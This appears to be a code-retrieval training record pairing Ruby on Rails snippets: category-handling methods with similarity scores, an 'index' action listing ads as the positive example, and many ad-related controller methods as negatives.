"def categories\n # @categories = Category.get_categories(@user.id)\n #@categories =Category.all.select(:id).select(:name).select(:description).select(:logo_url)\n @categories =Category.all\n user_cat= @user.categories.collect(&:id)\n categories = []\n @categories.each do |cat|\n cat_attr = cat.attributes\n user_cat.include?(cat.id) ? cat_attr.merge!('user_category' => true) : cat_attr.merge!('user_category' => false)\n categories << cat_attr\n end\n @categories = categories\n\n respond_to do |format|\n if @categories.blank?\n format.json {render json:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.xml {render xml:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.html {render json: {:success => false, :status_code => 404, :message => \"No category found\"}}\n else\n format.html {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.json {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.xml {render xml: {:success => true, :status_code => 200, :categories => @categories}}\n end\n end\n end",
"def all_categories\n end",
"def return_cat_data(categories, data)\n category_data = []\n categories.each do |category|\n category_data.push(category[\"#{data}\"])\n end\n category_data\nend",
"def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend",
"def categories\n category_keys.collect(&:to_s)\n end",
"def categories\n parsed_json['data']\n end",
"def categories(options = {})\n fetch_categories.at('categories').children_of_type('category').inject([]){ |r, i| r << parse_single_category_xml(i) }\n\tend",
"def index\n @basic_categories = Category.where(:cat_type => \"Basics\")\n @theme_categories = Category.where(:cat_type => \"Themes\")\n \n # @theme_words = @theme_categories.find_words\n # @basic_words = @basic_categories.find_words\n # respond_to do |format|\n # format.html\n # format.json {render :json => @categories}\n # end\n @categories = {}\n Word.select(:id, :name, :category_id).each do |word|\n @categories[word.category_id] ||= []\n @categories[word.category_id].push word\n end\n end",
"def index\n @small_categories = SmallCategory.category_tree\n end",
"def category\n data['category']\n end",
"def budget_categories_data\n # @budget.budget_items.collect { |budget_item| budget_item.category.name.to_s }.to_json\n categories = Category.for_budget.to_a\n categories << Category.find_by_name(\"Miscellaneous\")\n return categories.collect { |category| category.name.to_s }.to_json\n end",
"def categories_attributes=(categories_hash)\n # {\"0\"=>{\"name\"=>\"Romance\"}, \"1\"=>{\"name\"=>\"\"}}\n # raise categories_attributes.inspect\n categories_hash.each do |index, category_attribute|\n # find or create if post doesn't have this category BAD\n # self.category.find_or_create_by(name: category_attribute[:name])\n # find or create if this post doesn't exist yet GOOD\n if category_attribute[:name].present?\n category = Category.find_or_create_by(name: category_attribute[:name])\n if !self.categories.include?(category)\n self.post_categories.build(:category => category)\n end\n end\n end\n end",
"def categories_as_basic_with_all(returned = [])\r\n returned << categories.map { |x| { id: x.id, name: x.name }}\r\n returned.insert(0, { id: 0, name: \"All Categories\" })\r\n\r\n returned.flatten(1)\r\n end",
"def populate_category\n\t\t\t\tif params[:purpose] == \"category\"\n\t\t\t\t\t\tcategory = Category.find(params[:category_id])\n\t\t\t\t\t\t@sub_categories = category.sub_categories\n\t\t\t\telsif params[:purpose] == \"sub_category\"\n\t\t\t\t\t\tsub_category = SubCategory.find(params[:category_id])\n\t\t\t\t\t\t@inner_categories = sub_category.inner_categories\n\t\t\t\tend\n\t\tend",
"def get_categories\n cats = []\n params.each do |k,v|\n if k.starts_with? \"category\"\n name = v\n num = cat_number(k) \n cats << [name,num]\n end\n end\n return cats\n end",
"def reverse_mapping\n @@reverse_mapping ||= Hash[Danbooru.config.full_tag_config_info.map { |k, v| [v[\"category\"], k] }]\n end",
"def category_list_builder\n categories = API.get_categories\n categories.each do |cat|\n Category.new(cat)\n end\n end",
"def categories\n category\n end",
"def category_tree\n cats = []\n categories.each do |cat|\n cats << cat\n cats = cats + cat.ancestors\n end\n return cats\n end",
"def set_categories\n @categories = {}\n @mechanize.page.search('//*[@id=\"prtcalst\"]//li').each do |cat|\n cat_link = cat.search('a')[0]\n cat_name = cat.search('.//em')[0].inner_text()\n catObj = Category.new()\n catObj.elem = cat_link\n catObj.name = cat_name\n @categories[cat_name] = catObj\n\n puts(\"#{cat_name}\")\n puts(\"-------------------\")\n end\n end",
"def channel_categories\n build :channel_categories, :using => data_for(:channel_categories)\n end",
"def categories(query_object)\n\t\tdata = do_get_json(CATEGORIES_ENDPOINT, query_object)\n\tend",
"def categories\n @categories ||= wayfinder.decorated_vocabularies.sort_by(&:label)\n end",
"def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end",
"def parse_categories_structure(category_id)\n dry_run_notification\n\n total_products_count = 0\n categories = donor_categories_to_parse(category_id)\n display_info \"Total categories count: \\e[34;1m#{categories.count}\\e[0m\"\n\n initialize_capybara do\n categories.find_each do |category|\n category_name = \"#{category.name_eng.blank? ? category.name : category.name_eng} (id: #{category.id})\"\n category_products_count = parse_category category.id, category_name, \"#{@donor.url}#{category.path}\"\n total_products_count += category_products_count\n category_post_processing_message (category_products_count > 0), category_name, category_products_count\n # category.update(product_list_parsed_at: Time.zone.now) unless DRY_RUN # Update category product list parse date\n end\n end\n display_info \"Total products count: \\e[34;1m#{total_products_count}\\e[0m\"\n end",
"def sort_categories\n #loop to sort categories parents and children\n for cat in @all_categories\n #if category parent id == nill then hash = current category else if parent id of category = nil then parent id hash is nil\n if(cat.parent_id.nil?)\n @all_categories_hash[0] = [cat]\n else\n if(@all_categories_hash[cat.parent_id].nil?)\n @all_categories_hash[cat.parent_id] = []\n end\n @all_categories_hash[cat.parent_id].push(cat)\n end\n end\n #Sort loop for categories\n for key in @all_categories_hash.keys\n @all_categories_hash[key].sort!{|x,y| x.name <=> y.name}\n end\n end",
"def fetch_categories\r\n page = File.open(\"#{Rails.root}/public/Categories.html\") { |f| Nokogiri::HTML(f) }\r\n Category.save_fetched_categories_and_subcategories(page)\r\n end",
"def search_data\n {\n title: title,\n name: blocks.map { |b| b.specific.name if b.specific.respond_to?(:name) },\n body: blocks.map { |b| b.specific.body if b.specific.respond_to?(:body) },\n label: blocks.map { |b| b.specific.label if b.specific.respond_to?(:label) },\n category: subcategories.pluck(:category_id)\n }.as_json\n end",
"def set_categories\n @categories = Category.order(:name).pluck(:name, :id)\n end",
"def show\n @category =\n Category.includes(:companies).find(params[:id])\n if @category\n @keyword = String.new\n @keyword << @category.name << \" \"\n @coms = @category.companies.paginate(:page => params[:page],\n :per_page => 15)\n unless @category.leaf?\n @children = @category.children.sort! {|a,b| a.name<=>b.name}\n @children.each do |child|\n @keyword << child.name << \" \"\n end\n end\n if @category.child?\n @category.ancestors.each do |ac|\n ariane.add ac.name, category_path(ac)\n end\n end\n unless @category.companies.blank?\n @json = @category.companies.to_gmaps4rails\n @coms_max = @category.companies.maximum(:updated_at)\n end\n ariane.add @category.name, @category\n else\n flash.now[:error] = \"Category not found.\"\n end\n end",
"def check_categories!\n\n self.categories.map! do |category|\n if (not category.saved?) and loaded_category = Term.get(category.id)\n loaded_category\n else\n category\n end\n end\n\n end",
"def render_headers\n rcats = { Category.category_key_headers => [] }\n object.categories.each do |cat|\n rcats[Category.category_key_headers].concat(\n Category.new(cat, options).render[Category.category_key_headers]\n )\n end\n rcats\n end",
"def get_categories\r\n categories = Taxonomy.get_categories\r\n render json: categories, root: 'categories', adapter: :json, status: :ok\r\n end",
"def category_candidates(category)\n return @category_cache[category] unless @category_cache[category].nil?\n candidates = candidates_for_name(singularize_name(category.name, category.head), @category_filters)\n if !candidates.empty?\n candidate_set = create_candidate_set(category.name,candidates)\n else\n candidate_set = candidate_set_for_syntax_trees(category.head_trees,@category_filters)\n end\n if candidate_set.empty?\n candidates = candidates_for_name(category.name, @category_filters)\n candidate_set = create_candidate_set(category.name,candidates) unless candidates.empty?\n end\n @category_cache[category] = candidate_set\n end",
"def categories\n rpg_shop.handled_categories\n end",
"def metrics_by_category metrics\n # Converts Dactylogram metric format\n # {\"FleschKincaidService::grade_level\"=>-4.029999999999999, \"FleschKincaidService::age_minimum\"=>\"\", \"FleschKincaidService::reading_ease\"=>121.22000000000003}\n # to categorized-by-service format to pass to view\n # {\"FleschKincaidService\"=>[{\"grade_level\"=>-4.029999999999999}, {\"age_minimum\"=>\"\"}, {\"reading_ease\"=>121.22000000000003}]}\n categorized_metrics = {}\n\n metrics.each do |key, value|\n category, method = key.split '::'\n\n categorized_metrics[category] ||= []\n categorized_metrics[category] << { method => value }\n end\n\n categorized_metrics\n end",
"def set_children_for(category, hash)\n if hash['children']\n hash['children'].each do |ch|\n child = Documents::Category.find(ch['id'])\n child.parent = category\n child.save\n\n set_children_for(child, ch)\n end\n else\n # Can't remove children, so nil out the parent of anything that's listed\n # as a child of this node\n category.children.each do |c|\n c.parent = nil\n c.save\n end\n end\n end",
"def slugified_categories; end",
"def category\n @data['category']\n end",
"def category_type\n object.category.main_cat\n end",
"def categories\n expose Metadata.categories(@oauth_token)\n end",
"def categories_attributes=(categories_attributes)\n categories_attributes.values.each do |category_attributes|\n if category_attributes[:id].nil? and category_attributes[:name].present?\n category = Category.find_by_name(category_attributes[:name])\n if category.present?\n category_attributes[:id] = category.id\n ## FIXME? check if we are adding twice?\n self.categories << category\n end\n end\n end\n assign_nested_attributes_for_collection_association(:categories, categories_attributes.values, mass_assignment_options)\n end",
"def all(&block)\n categories = []\n\n # Categories are listed in catalog xml, so fetch that.\n catalog = Catalog.new(@options)\n catalog.all do |item|\n categories << {\n code: item[:subcategory].gsub(\"&\", \"\").gsub(/[^A-Za-z0-9]/, \"_\").squeeze(\"_\").downcase,\n description: item[:subcategory].gsub(\"&\", \"&\")\n }\n end\n\n categories.uniq! { |c| c[:code] }\n categories.sort_by! { |c| c[:code] }\n\n categories.each do |category|\n yield category\n end\n end",
"def use_category_map(klass, mapping)\n @category_map = klass\n @category_map_key_attrib = mapping.keys.first.to_sym\n @category_map_cat_id_attrib = mapping.values.first.to_sym\n end",
"def categorize(elt2category, unknown=nil)\n categories = Hash.new { |h,k| h[k] = [] }\n self.each do |elt|\n if elt2category.include? elt\n categories[elt2category[elt]] << elt \n elsif unknown\n categories[unknown] << elt\n end\n end\n categories\n end",
"def _build_category_list\n raw_categories = CatAPI.get_categories\n category_list = raw_categories.map {|category| category['name']}.sort\n # the \"kittens\" category is empty, and never returns photos\n category_list.delete(\"kittens\")\n return category_list.unshift(\"your favorites\")\nend",
"def index\n @categories = MiddleCategory.category_tree\n @middle_categories = @categories.group_by {|category| category.large_category_code}\n end",
"def categories_attributes=(category_hashes)\n #hash looks like this {\"0\"={name:\"New Category\"}, \"1\"={name:\"Other New Category\"}}\n #for every value in the categoery_attributes hash...\n category_hashes.value.each do |i,category_attr|\n #each will be this: {name:\"New Category\"} - a hash that can be used to create a new cateogry\n #find or create a category by that attribute (will pass key and value in?)\n category=Category.find_or_create_by(name: category_attr[:name])\n\n #make a new post_category instance using the category\n #will make a new post_category with post_id of self.id and category_id of category.id\n self.post_categories.build(category:category)\n end\n end",
"def save_hot_products_by_category\r\n Subcategory.fill_all_subcategories_of_category(params[:category][:fields][1])\r\n end",
"def categories_attributes=(categories_hashes) #writer\n #{\"0\"=>{\"name\"=>\"new catogory 1\"}, \"1\"=>{\"name\"=>\"new catogory 2\"}}\n #raise category_hashes.inspect\n #How would I create a catogory for each of the hashes inside categories_hashes\n categories_hashes.values.each do |category_attributes|\n\n #DO NOT CREATE A CATEGORY IF IT DOESN'T HAVE NAME\n #if category_attributes[:name].present?\n\n #create a new catogory if this post doesn't already have this catogory\n #find or create the catogory regardless of whether this post has it.\n category = Category.find_or_create_by(category_attributes)\n #ALSO DON'T DUPLICATE POST IF IT ALREADY HAVE IT.\n #How do i check if this post has this category already?\n if !self.categories.include?(category)\n #this is ineffecient because it will pull all catogories\n #self.categories << category 47:55\n self.post_categories.build(:category => category)\n\n #I need to create a catogory that is already associated with this post\n # and i need to make sure that this category already doesn't exist by name.\n end\n #end\n end\n\n end",
"def new\n @book = Book.new\n @categories = Category.order(:names_depth_cache).map { |c| [\"-\" * c.depth + c.name,c.id] }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def get_subc(category)\n retval = []\n #Category.where(category_id: category.id).each do |c| \n category.categories.each do |c| \n retval += [c] + get_subc(c)\n end\n retval\n end",
"def toggle_params\n h.params.deep_dup.tap do |ret|\n ret[:categories] ||= []\n\n if enabled\n ret[:categories] -= self_and_ancestors.collect(&:to_param)\n ret[:categories] -= self_and_descendants.collect(&:to_param)\n else\n ret[:categories].concat(self_and_descendants.collect(&:to_param))\n end\n\n ret[:categories].uniq!\n ret.delete(:categories) if ret[:categories].empty?\n end.symbolize_keys\n end",
"def categories\n Category.categories_for_movie self\n end",
"def parse_category_tree\n dry_run_notification\n\n page_html = get_page_html \"#{@donor.url}/mall/index.htm\"\n return display_error \"\\e[33;1m#{self.class}##{__method__}\\e[0m failed to get page html\" if page_html.blank?\n\n page_html.css('#headerWarp .cateAllList ul li').each do |menu_item|\n category_link_level_1 = get_link menu_item.at_css('dt a')\n category_level_1 = save_category(category_link_level_1) unless DRY_RUN\n display_category_structure category_link_level_1, \"#{'-' * 80}\\n\"\n\n menu_item.css('dd a').each do |menu_sub_item|\n category_link_level_2 = get_link menu_sub_item\n save_category(category_link_level_2, category_level_1.id) unless DRY_RUN\n display_category_structure category_link_level_2, ' '\n end\n end\n end",
"def categories\n add_to_query restrict_kind: 'category'\n end",
"def all_category_hash(item=nil)\n hash = {}\n items = []\n if(!item.nil?)\n for cat in @all_categories\n if(cat.parent_id.eql?(item.id))\n items.push(cat)\n end\n end\n else\n for cat in @all_categories\n if(cat.parent_id.nil?)\n items.push(cat)\n end\n end\n end\n for cat in items\n hash[cat] = all_category_hash(cat)\n end\n return hash\n end",
"def index\n @categories = Category.roots\n end",
"def create_fields_of(data, category)\n data.each do |k, v|\n params = Field.class_name_for_type(v['type']).constantize.create_from_hash(k, v)\n params.merge!(category: category)\n field = Field.class_name_for_type(v['type']).constantize.create!(params)\n self.general_fields << field #NOTE Since we have already created the object, the category attribute will not change if we add it to the incorrect set of fields. Hence, just add all to general_fields\n end\n end",
"def reverse_tag_category_mapping\n @reverse_tag_category_mapping ||= {\n 0 => \"General\",\n 1 => \"Artist\",\n 3 => \"Copyright\",\n 4 => \"Character\"\n }\n end",
"def get_sidebar_filter_categories(categories)\n html_code = ''\n if !categories.children.empty?\n\n html_code += '<div class=\"sidebar-module-container\">\n <div class=\"sidebar-filter\">\n <div class=\"sidebar-widget outer-bottom-small wow fadeInUp animated\">\n <h3 class=\"section-title\">shop by</h3>\n <div class=\"widget-header\">\n <h4 class=\"widget-title\">Category</h4>\n </div>\n <div class=\"sidebar-widget-body\">\n <div class=\"accordion\">'\n categories.children.each do |category|\n html_code += '<div class=\"accordion-group\">\n <div class=\"accordion-heading\">'\n html_code += link_to category.category_name, category_path(category: category.id), {class: 'accordion-toggle collapsed'}\n html_code += '</div></div>'\n end\n html_code += '</div></div></div></div></div>'\n end\n html_code.html_safe\n end",
"def categories\r\n return handle_resource_not_found unless @article_category\r\n\r\n add_category_breadcrumbs(@article_category)\r\n if @article_category.leaf?\r\n @title_text = @article_category.display_text\r\n @articles = fetch_articles(order_by, nil, :conditions => {:article_category_id => @article_category.id}, :include => [:user, :article_category])\r\n @other_recent_posts = @article_category.parent.all_recent_posts(:exclude_category => @article_category) if @article_category.parent\r\n render 'articles/subcategories'\r\n else\r\n return unless check_category_for_stale\r\n @subcategories_with_posts = @article_category.children.with_published_articles\r\n render 'articles/categories'\r\n end\r\n end",
"def add_categories(collection)\n\tcategory = \"\"\n\tcollection[\"results\"][\"collection1\"].each do |article|\n\t\tif article[\"category\"] == \"\"\n article[\"category\"] = category\n else\n category = article[\"category\"]\n end\n\tend\nend",
"def get_category_list\n ret_hash = Rails.cache.fetch(\"zaim_api/category\", expired_in: 1.day) do\n json_categories = self.zaim_api.category\n tmp_ret_hash = {}\n json_categories['categories'].each do |value|\n tmp_ret_hash[value['id']] = value['name']\n end\n tmp_ret_hash\n end\n ret_hash\n end",
"def index\n @subcategories = @category.subcategories\n end",
"def new\n #creates a sorted array using all category objects\n @all_categories = Category.all.sort {|x,y| x.name <=> y.name }\n #if statement for duplicating a record\n if params[:duplicate_category]\n #Assign category to be duplicated\n category_to_duplicate = Category.find(params[:duplicate_category])\n #set @category to duplicated info minus id\n @category = category_to_duplicate.dup\n if(!@category.parent_id.nil?)\n @items_to_select = [Category.find(@category.parent_id)]\n else\n @item_to_select = nil\n end\n\n else\n #New category\n @category = Category.new\n\n if(!params[:category_id].nil?)\n @items_to_select = [Category.find(params[:category_id])]\n else\n for ac in @all_categories\n if(ac.parent_id.nil?)\n # @items_to_select = [ac]\n end\n end\n end\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category }\n end\n end",
"def allowed_cat_entries(options)\n rails_logger('allowed_cat_entries', 0)\n @values[\"#{options[:prov_field_name]}_category\".to_sym] = options[:category]\n cat = Classification.lookup_by_name(options[:category].to_s)\n result = cat ? cat.entries.each_with_object({}) { |e, h| h[e.name] = e.description } : {}\n rails_logger('allowed_cat_entries', 1)\n result\n end",
"def getProperties\n Category.select(:id)\n end",
"def categories_list\n self.categories.collect{|c| c.name}\n end",
"def categories_attributes=(categories)\n \tcategories.each do |index, category_hash|\n \t\tif category_hash[:name].present?\n\t\t\tcategory = Category.find_or_create_by(name: category_hash[:name])\n\t\t\tif !self.categories.include?(category)\n\t\t\t self.post_categories.build(:category => category) \n\t\t\tend\n end\n \tend\n end",
"def categorize\n if params.has_key?(:category)\n @category = Category.find_by_name(params[:category])\n @product = Product.where(category: @category)\n else\n @product = Product.all\n end\nend",
"def category_for_key(key, description)\n # Keys may contain '/' e.g. 'openshift.io/build.name'.\n name = 'kubernetes:' + Classification.sanitize_name(key.tr(\"/\", \":\"))\n category = Classification.find_by_name(name)\n if category\n category.description = description\n category.save!\n category\n else\n Classification.create_category!(name: name, description: description,\n read_only: true, single_value: true)\n end\nend",
"def return_categories(key)\n if $redis.exists(key)\n categories = JSON.parse($redis.get(key))\n categories\n else\n data = fetch_categories()\n current_categories = []\n data.each do |child|\n add_category(key, child, current_categories)\n end\n return_categories(key)\n end\nend",
"def populate_items\n items = {}\n Game::current.crowd_members['category'].keys.each do |crowd_member|\n items[\"crowd_members.category.\"+crowd_member] = crowd_member.humanize\n end\n items\n end",
"def expand_categories(categories, text)\r\n html = '<ul class=\"'+text+'\">'\r\n categories.each do |cat|\r\n options = { :url => edit_article_category_path(cat), :method => :get, :loading => \"wait_for_content_update('edit')\" }\r\n child_categories = cat.children\r\n nested_html = child_categories.empty? ? '' : expand_categories(child_categories, \"subtitles\")\r\n html << '<li class=\"article_category\">' + link_to_remote(cat.display_text, options) + nested_html + '</li>'\r\n end\r\n html + '</ul>'\r\n end",
"def all_categories\n @mutex.synchronize do\n @categories.keys\n end\n end",
"def show\n\t\t@category = Category.find(params[:id])\n\t\t@sub_categories = @category.sub_categories\n\tend",
"def get_category_select_options(c, level=0)\n retval = []\n retval << [('-' * level) + c.name, c.id]\n c.categories.each do |child_c|\n get_category_select_options(child_c, level + 1).each do |child_c|\n retval << child_c\n end\n end\n \n return retval\n end"
] |
[
"0.67276347",
"0.6575168",
"0.65098906",
"0.6462346",
"0.64343816",
"0.64003175",
"0.6368787",
"0.6296995",
"0.62545556",
"0.6230784",
"0.6230784",
"0.62003106",
"0.61347383",
"0.6066618",
"0.60473025",
"0.60440326",
"0.5909906",
"0.5891107",
"0.57944393",
"0.57944393",
"0.5792884",
"0.5780414",
"0.5772224",
"0.57605714",
"0.57597095",
"0.57480997",
"0.57053083",
"0.5704425",
"0.57030606",
"0.56975555",
"0.5691972",
"0.5690182",
"0.56743836",
"0.5648709",
"0.5641746",
"0.5640608",
"0.5618338",
"0.56148124",
"0.5609932",
"0.560271",
"0.55968326",
"0.55888194",
"0.55815375",
"0.5578308",
"0.5557907",
"0.555507",
"0.55388856",
"0.55346465",
"0.5517031",
"0.5507541",
"0.55073893",
"0.5501125",
"0.5499035",
"0.5491551",
"0.54875845",
"0.5486928",
"0.5485714",
"0.54814214",
"0.5469575",
"0.5465473",
"0.5464871",
"0.5455351",
"0.54500943",
"0.54327047",
"0.5426217",
"0.54237795",
"0.5423156",
"0.5413802",
"0.54128265",
"0.54113644",
"0.54070723",
"0.5394647",
"0.53938484",
"0.5391071",
"0.53822106",
"0.5377633",
"0.5374014",
"0.5371566",
"0.5363825",
"0.5360239",
"0.5356549",
"0.53531",
"0.5351777",
"0.53401744",
"0.5340024",
"0.5339991",
"0.5339186",
"0.533113",
"0.5327404",
"0.5327212",
"0.5324963",
"0.5319511",
"0.53183997",
"0.5314313",
"0.53136104",
"0.53115094",
"0.5297427",
"0.5293026",
"0.5291721",
"0.52909213"
] |
0.70369136
|
0
|
GET /ads GET /ads.json
|
def index
@ads = Ad.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @ads = Ad.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end",
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end",
"def call\n response = call_ads_api\n ads = response[\"ads\"]\n ads_hash = index_ads_remote(ads)\n {success: true, data: ads_hash}\n end",
"def index\n @ads = @org.ads\n end",
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n format.json { render :json => @ads }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end",
"def index\n @ads = Ad.all \n end",
"def show\n render json: @advert\n end",
"def index\n respond_with Ad.all \n end",
"def show\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end",
"def index\n @sales_ads = SalesAd.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales_ads }\n end\n end",
"def get_ads(params, headers={})\n url = \"#{@fqdn}#{SERVICE_URL}\"\n\n if params\n args = \"?\"\n params.each do |key, value|\n if value && !value.empty?\n args << \"&\" unless args.end_with? \"?\"\n args << \"#{CGI.escape(key.to_s)}=#{CGI.escape(value.to_s)}\"\n end\n end\n url << args\n end\n\n self.get(url, headers)\n end",
"def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end",
"def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end",
"def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end",
"def index\n @advertises = Advertise.all\n render 'index', formats: 'json', handlers: 'jbuilder'\n end",
"def index\n @ads = Ad.find_all_by_account_id(session[:account_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end",
"def show\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advertisement }\n end\n end",
"def index\n @adsses = Adss.all\n end",
"def show\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_indices_ad }\n end\n end",
"def index\n @ads = Ad.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @ads.to_xml }\n end\n end",
"def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end",
"def index\n \tset_user\n @ads = get_all_ads\n end",
"def get_ads(ad_account, session)\n dataSet = { \"ads\" => [] }\n\n ad_account.ads(fields: 'name').each do |ad|\n dataSet['ads'] << {\n \"id\" => ad.id,\n \"name\" => ad.name,\n \"thumbnail_url\" => FacebookAds::AdCreative.get(ad.creative.id, 'thumbnail_url', session).thumbnail_url\n }\n end\n\n return dataSet\n end",
"def show\n @ad_post = AdPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_post }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n format.json \n end\n end",
"def index\n @adjs = Adj.all\n end",
"def show\n @ad_tag = AdTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_tag }\n end\n end",
"def show\n @ad = Ad.find(params[:id])\n end",
"def show\n @ad = Ad.find(params[:id])\n end",
"def index\n @advertisements = Advertisement.where(merchant_id: params[:merchant_id])\n\n render json: @advertisements\n end",
"def index\n @bottom_ads = BottomAd.all\n end",
"def show\n @advert = Advert.find(params[:id])\n @vcounter = ViewsCounter.counter('Advert', params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end",
"def show\n @advertisment = Advertisment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advertisment }\n end\n end",
"def index\n @adverts = Advert.all\n end",
"def index\n @advertisements = Advertisement.all\n end",
"def index\n @advertisements = Advertisement.all\n end",
"def show\n @ad_contact = AdContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_contact }\n end\n end",
"def index\n @buy_ads = BuyAd.all\n end",
"def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html \n end\n end",
"def index\n @admittings = Admitting.all\n render json: @admittings\n end",
"def show\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advocacy }\n end\n end",
"def show\n @ad_type = AdType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_type }\n end\n end",
"def index\n @leads = Lead.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leads }\n end\n end",
"def show\n @google_adwords_account = GoogleAdwordsAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @google_adwords_account }\n end\n end",
"def index\n @ads = Ad.all.ultimos\n end",
"def show\n @sales_ad = SalesAd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sales_ad }\n end\n end",
"def index\n @advertises = current_user.advertises.page(params[:page])\n respond_to do |format|\n format.html\n format.json\n end\n end",
"def show\n render json: @admitting\n end",
"def ads(id, &block)\n return get_metrics([\"ads\", id], &block)\n end",
"def index\n\tif params[:category_id]\n\t @ads = Ad.where(category_id: params[:category_id])\n\telse\n\t @ads = Ad.all\n\tend\n end",
"def index\n @leads = Lead.upcoming\n .includes(:updates, :agents, :agent)\n .order(created_at: :desc)\n .page(params[:page])\n .per(50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leads }\n end\n end",
"def index\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ads = @magazine.ads\nend",
"def index\n @advertises = Advertise.all\n end",
"def index\n @advertises = Advertise.all\n end",
"def index\n @advertisements = Advertisement.where(user: current_user).order(updated_at: :desc).with_attached_images\n\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end",
"def index\n @adverts = @advert_class.all\n end",
"def show\n render json: @adopter\n end",
"def index\n \t@categories = Category.all\n \t@ads = Ad.all\n end",
"def index\n @advetisers = Advetiser.all\n end",
"def index\n @search = Ad.search(params[:q])\n @result = @search.result\n @ads = @result.order('created_at DESC').distinct\n @ads = @result.page(params[:page]).per(15)\n\n respond_to do |format|\n format.html\n end\n end",
"def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end",
"def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end",
"def show\n\t\t@ad = Ad.includes({:ad_group => :campaign}, :ad_type).where(\"campaigns.account_id = ?\", @auth_user.account_id).find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @ad }\n\t\tend\n\tend",
"def show\n @acd = Acd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @acd }\n end\n end",
"def index\n @adms = Adm.all\n end",
"def index\n @cargapp_ads = CargappAd.all\n\n @result = []\n @cargapp_ads.each do |cargapp_ad|\n @obj = {\n id: cargapp_ad.id,\n name: cargapp_ad.name,\n price: cargapp_ad.price,\n description: cargapp_ad.description,\n body: cargapp_ad.body,\n image: cargapp_ad.image.attached? ? url_for(cargapp_ad.image) : nil,\n url: cargapp_ad.url,\n media: cargapp_ad.media.attached? ? url_for(cargapp_ad.media) : nil,\n have_discoun: cargapp_ad.have_discoun,\n is_percentage: cargapp_ad.is_percentage,\n discoun: cargapp_ad.discoun,\n active: cargapp_ad.active,\n user_id: cargapp_ad.user_id,\n created_at: cargapp_ad.created_at,\n updated_at: cargapp_ad.updated_at\n }\n @result << @obj\n end\n render json: @result\n end",
"def search\n @advertises = Advertise.where(adtype: @adtype)\n .where(show: true)\n .order(:priority)\n render 'search', formats: 'json', handlers: 'jbuilder'\n end",
